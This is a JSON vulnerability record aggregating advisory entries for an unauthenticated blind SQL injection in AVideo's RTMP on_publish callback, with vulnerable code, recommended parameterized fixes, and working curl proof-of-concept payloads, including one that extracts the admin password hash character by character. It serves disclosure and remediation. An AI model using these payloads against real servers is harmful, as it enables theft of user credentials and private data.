{"id":"CVE-2026-33485","aliases":["EUVD-2026-14443","GHSA-8p58-35c3-ccxx"],"status":"published","title":"AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP `on_publish` callback at `plugin/Live/on_publish.php` is accessible without authentication. The `$_POST['name']` parameter (stream key) is interpolated directly into SQL queries in two locations — `LiveTransmitionHistory::getLatest()` and `LiveTransmition::keyExists()` — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00486,"percentile":0.42359,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-89"],"published":"2026-03-20T20:47:19Z","modified":"2026-10-28T02:31:11Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-8p58-35c3-ccxx","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/af59eade82de645b20183cc3d74467a7eac76549","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33485","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-8p58-35c3-ccxx"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33485.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33485","title":"AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP `on_publish` callback at `plugin/Live/on_publish.php` is accessible without authentication. The `$_POST['name']` parameter (stream key) is interpolated directly into SQL queries in two locations — `LiveTransmitionHistory::getLatest()` and `LiveTransmition::keyExists()` — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.","status":"published","published":"2026-03-23T14:14:15.477Z","modified":"2026-03-25T14:17:20.198Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-14443","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP `on_publish` callback at `plugin/Live/on_publish.php` is accessible without authentication. The `$_POST['name']` parameter (stream key) is interpolated directly into SQL queries in two locations — `LiveTransmitionHistory::getLatest()` and `LiveTransmition::keyExists()` — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.","status":"published","published":"2026-03-23T14:14:15Z","modified":"2026-03-25T14:17:20Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T19:25:29.129467Z"}],"ghsa":[{"id":"GHSA-8p58-35c3-ccxx","title":"AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter","description":"## Summary\n\nThe RTMP `on_publish` callback at `plugin/Live/on_publish.php` is accessible without authentication. The `$_POST['name']` parameter (stream key) is interpolated directly into SQL queries in two locations — `LiveTransmitionHistory::getLatest()` and `LiveTransmition::keyExists()` — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.\n\n## Details\n\n**Entry point:** `plugin/Live/on_publish.php` — no authentication, no IP allowlist, no origin verification.\n\n**Sanitization (insufficient):** Line 117 strips only `\u0026` and `=` characters:\n```php\n// plugin/Live/on_publish.php:117\n$_POST['name'] = preg_replace(\"/[\u0026=]/\", '', $_POST['name']);\n```\n\n**Injection point #1 — unconditional (no `p` parameter needed):**\n\nAt line 120, `$_POST['name']` is passed directly to `LiveTransmitionHistory::getLatest()`:\n```php\n// plugin/Live/on_publish.php:120\n$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);\n```\n\nInside `getLatest()`, the key is interpolated into a LIKE clause without escaping:\n```php\n// plugin/Live/Objects/LiveTransmitionHistory.php:494-495\nif (!empty($key)) {\n    $sql .= \" AND lth.`key` LIKE '{$key}%' \";\n}\n```\n\n**Injection point #2 — when `$_GET['p']` is provided:**\n\nAt line 146, `$_POST['name']` is passed to `LiveTransmition::keyExists()`:\n```php\n// plugin/Live/on_publish.php:146\n$obj-\u003erow = LiveTransmition::keyExists($_POST['name']);\n```\n\nInside `keyExists()`, `cleanUpKey()` is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:\n```php\n// plugin/Live/Objects/LiveTransmition.php:298-303\n$key = Live::cleanUpKey($key);\n$sql = \"SELECT u.*, lt.*, lt.password as live_password FROM \" . static::getTableName() . \" lt \"\n        . \" LEFT JOIN users u ON u.id = users_id AND u.status='a' \"\n        . \" WHERE  `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1\";\n$res = sqlDAL::readSql($sql);\n```\n\n**Why `readSql()` provides no protection:** When called without format/values parameters (as in both cases above), `sqlDAL::readSql()` passes the full SQL string — with the injection payload already embedded — to `$global['mysqli']-\u003eprepare()`. Since there are no placeholders (`?`) and no bound parameters, `prepare()` simply compiles the injected SQL as-is. The `eval_mysql_bind()` function returns `true` immediately when formats/values are empty.\n\n## PoC\n\n**Injection point #1 (unconditional — simplest):**\n\n```bash\n# Time-based blind SQLi via getLatest() — no p parameter needed\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -X POST \"http://TARGET/plugin/Live/on_publish.php\" \\\n  -d \"tcurl=rtmp://localhost/live\u0026name=' OR (SELECT SLEEP(5)) %23\"\n```\n\nA ~5-second response time confirms injection. The payload:\n- Avoids `\u0026` and `=` (stripped by line 117)\n- Avoids `_` and `-` in positions where `cleanUpKey()` would split\n- Uses `%23` (`#`) to comment out the trailing `%'`\n\n**Data extraction — character-by-character:**\n\n```bash\n# Extract first character of admin password hash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -X POST \"http://TARGET/plugin/Live/on_publish.php\" \\\n  -d \"tcurl=rtmp://localhost/live\u0026name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\\\$') %23\"\n```\n\n**Injection point #2 (via keyExists):**\n\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -X POST \"http://TARGET/plugin/Live/on_publish.php\" \\\n  -d \"tcurl=rtmp://localhost/live?p=test\u0026name=' OR (SELECT SLEEP(5)) %23\"\n```\n\nThis reaches `keyExists()` at line 146, producing:\n```sql\nSELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt\nLEFT JOIN users u ON u.id = users_id AND u.status='a'\nWHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1\n```\n\n## Impact\n\nAn unauthenticated remote attacker can:\n\n1. **Extract all database contents** via time-based blind SQL injection, including:\n   - User password hashes (bcrypt)\n   - Email addresses and personal information\n   - API keys, session tokens, and live stream passwords\n   - Site configuration and secrets stored in database tables\n\n2. **Authenticate as any user to the streaming system** — extracted password hashes can be used directly as the `$_GET['p']` parameter since `on_publish.php:153` compares `$_GET['p'] === $user-\u003egetPassword()` against the raw stored hash, allowing the attacker to start streams impersonating any user.\n\n3. **Enumerate database structure** — the injection can be used to query `information_schema` tables, mapping the entire database for further exploitation.\n\nThe first injection point (via `getLatest()`) is reached unconditionally on every request — no additional parameters beyond `name` and `tcurl` are required.\n\n## Recommended Fix\n\nUse parameterized queries in both affected functions:\n\n**Fix `LiveTransmition::keyExists()` at `plugin/Live/Objects/LiveTransmition.php:298-303`:**\n```php\n$key = Live::cleanUpKey($key);\n$sql = \"SELECT u.*, lt.*, lt.password as live_password FROM \" . static::getTableName() . \" lt \"\n        . \" LEFT JOIN users u ON u.id = users_id AND u.status='a' \"\n        . \" WHERE  `key` = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1\";\n$res = sqlDAL::readSql($sql, \"s\", [$key]);\n```\n\n**Fix `LiveTransmitionHistory::getLatest()` at `plugin/Live/Objects/LiveTransmitionHistory.php:494-495`:**\n```php\nif (!empty($key)) {\n    $sql .= \" AND lth.`key` LIKE ? \";\n    $formats .= \"s\";\n    $values[] = $key . '%';\n}\n```\n\n**Fix `LiveTransmitionHistory::getLatestFromKey()` at `plugin/Live/Objects/LiveTransmitionHistory.php:681-688`:**\n```php\nif(!$strict){\n    $parts = Live::getLiveParametersFromKey($key);\n    $key = $parts['cleanKey'];\n    $sql .= \" `key` LIKE ? \";\n    $formats = \"s\";\n    $values = [$key . '%'];\n}else{\n    $sql .= \" `key` = ? \";\n    $formats = \"s\";\n    $values = [$key];\n}\n```\n\nAll three fixes use the existing `sqlDAL::readSql()` parameterized binding support (`\"s\"` format for string, values array) which is already used elsewhere in the codebase.","status":"published","published":"2026-03-20T20:47:19Z","modified":"2026-05-09T07:33:32Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:40:05.816188Z"}],"nvd":[{"id":"CVE-2026-33485","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP `on_publish` callback at `plugin/Live/on_publish.php` is accessible without authentication. The `$_POST['name']` parameter (stream key) is interpolated directly into SQL queries in two locations — `LiveTransmitionHistory::getLatest()` and `LiveTransmition::keyExists()` — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.","status":"published","published":"2026-03-23T15:16:34.887Z","modified":"2026-06-17T10:37:34.807Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33485","title":"AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP `on_publish` callback at `plugin/Live/on_publish.php` is accessible without authentication. The `$_POST['name']` parameter (stream key) is interpolated directly into SQL queries in two locations — `LiveTransmitionHistory::getLatest()` and `LiveTransmition::keyExists()` — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.","status":"published","published":"2026-03-23T14:14:15.477Z","modified":"2026-10-28T02:31:11.251784643Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-8p58-35c3-ccxx","title":"AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter","description":"## Summary\n\nThe RTMP `on_publish` callback at `plugin/Live/on_publish.php` is accessible without authentication. The `$_POST['name']` parameter (stream key) is interpolated directly into SQL queries in two locations — `LiveTransmitionHistory::getLatest()` and `LiveTransmition::keyExists()` — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.\n\n## Details\n\n**Entry point:** `plugin/Live/on_publish.php` — no authentication, no IP allowlist, no origin verification.\n\n**Sanitization (insufficient):** Line 117 strips only `\u0026` and `=` characters:\n```php\n// plugin/Live/on_publish.php:117\n$_POST['name'] = preg_replace(\"/[\u0026=]/\", '', $_POST['name']);\n```\n\n**Injection point #1 — unconditional (no `p` parameter needed):**\n\nAt line 120, `$_POST['name']` is passed directly to `LiveTransmitionHistory::getLatest()`:\n```php\n// plugin/Live/on_publish.php:120\n$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);\n```\n\nInside `getLatest()`, the key is interpolated into a LIKE clause without escaping:\n```php\n// plugin/Live/Objects/LiveTransmitionHistory.php:494-495\nif (!empty($key)) {\n    $sql .= \" AND lth.`key` LIKE '{$key}%' \";\n}\n```\n\n**Injection point #2 — when `$_GET['p']` is provided:**\n\nAt line 146, `$_POST['name']` is passed to `LiveTransmition::keyExists()`:\n```php\n// plugin/Live/on_publish.php:146\n$obj-\u003erow = LiveTransmition::keyExists($_POST['name']);\n```\n\nInside `keyExists()`, `cleanUpKey()` is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:\n```php\n// plugin/Live/Objects/LiveTransmition.php:298-303\n$key = Live::cleanUpKey($key);\n$sql = \"SELECT u.*, lt.*, lt.password as live_password FROM \" . static::getTableName() . \" lt \"\n        . \" LEFT JOIN users u ON u.id = users_id AND u.status='a' \"\n        . \" WHERE  `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1\";\n$res = sqlDAL::readSql($sql);\n```\n\n**Why `readSql()` provides no protection:** When called without format/values parameters (as in both cases above), `sqlDAL::readSql()` passes the full SQL string — with the injection payload already embedded — to `$global['mysqli']-\u003eprepare()`. Since there are no placeholders (`?`) and no bound parameters, `prepare()` simply compiles the injected SQL as-is. The `eval_mysql_bind()` function returns `true` immediately when formats/values are empty.\n\n## PoC\n\n**Injection point #1 (unconditional — simplest):**\n\n```bash\n# Time-based blind SQLi via getLatest() — no p parameter needed\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -X POST \"http://TARGET/plugin/Live/on_publish.php\" \\\n  -d \"tcurl=rtmp://localhost/live\u0026name=' OR (SELECT SLEEP(5)) %23\"\n```\n\nA ~5-second response time confirms injection. The payload:\n- Avoids `\u0026` and `=` (stripped by line 117)\n- Avoids `_` and `-` in positions where `cleanUpKey()` would split\n- Uses `%23` (`#`) to comment out the trailing `%'`\n\n**Data extraction — character-by-character:**\n\n```bash\n# Extract first character of admin password hash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -X POST \"http://TARGET/plugin/Live/on_publish.php\" \\\n  -d \"tcurl=rtmp://localhost/live\u0026name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\\\$') %23\"\n```\n\n**Injection point #2 (via keyExists):**\n\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -X POST \"http://TARGET/plugin/Live/on_publish.php\" \\\n  -d \"tcurl=rtmp://localhost/live?p=test\u0026name=' OR (SELECT SLEEP(5)) %23\"\n```\n\nThis reaches `keyExists()` at line 146, producing:\n```sql\nSELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt\nLEFT JOIN users u ON u.id = users_id AND u.status='a'\nWHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1\n```\n\n## Impact\n\nAn unauthenticated remote attacker can:\n\n1. **Extract all database contents** via time-based blind SQL injection, including:\n   - User password hashes (bcrypt)\n   - Email addresses and personal information\n   - API keys, session tokens, and live stream passwords\n   - Site configuration and secrets stored in database tables\n\n2. **Authenticate as any user to the streaming system** — extracted password hashes can be used directly as the `$_GET['p']` parameter since `on_publish.php:153` compares `$_GET['p'] === $user-\u003egetPassword()` against the raw stored hash, allowing the attacker to start streams impersonating any user.\n\n3. **Enumerate database structure** — the injection can be used to query `information_schema` tables, mapping the entire database for further exploitation.\n\nThe first injection point (via `getLatest()`) is reached unconditionally on every request — no additional parameters beyond `name` and `tcurl` are required.\n\n## Recommended Fix\n\nUse parameterized queries in both affected functions:\n\n**Fix `LiveTransmition::keyExists()` at `plugin/Live/Objects/LiveTransmition.php:298-303`:**\n```php\n$key = Live::cleanUpKey($key);\n$sql = \"SELECT u.*, lt.*, lt.password as live_password FROM \" . static::getTableName() . \" lt \"\n        . \" LEFT JOIN users u ON u.id = users_id AND u.status='a' \"\n        . \" WHERE  `key` = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1\";\n$res = sqlDAL::readSql($sql, \"s\", [$key]);\n```\n\n**Fix `LiveTransmitionHistory::getLatest()` at `plugin/Live/Objects/LiveTransmitionHistory.php:494-495`:**\n```php\nif (!empty($key)) {\n    $sql .= \" AND lth.`key` LIKE ? \";\n    $formats .= \"s\";\n    $values[] = $key . '%';\n}\n```\n\n**Fix `LiveTransmitionHistory::getLatestFromKey()` at `plugin/Live/Objects/LiveTransmitionHistory.php:681-688`:**\n```php\nif(!$strict){\n    $parts = Live::getLiveParametersFromKey($key);\n    $key = $parts['cleanKey'];\n    $sql .= \" `key` LIKE ? \";\n    $formats = \"s\";\n    $values = [$key . '%'];\n}else{\n    $sql .= \" `key` = ? \";\n    $formats = \"s\";\n    $values = [$key];\n}\n```\n\nAll three fixes use the existing `sqlDAL::readSql()` parameterized binding support (`\"s\"` format for string, values array) which is already used elsewhere in the codebase.","status":"published","published":"2026-03-20T20:47:19Z","modified":"2026-03-25T19:48:32.8831Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:46:42.78452Z"}]}}
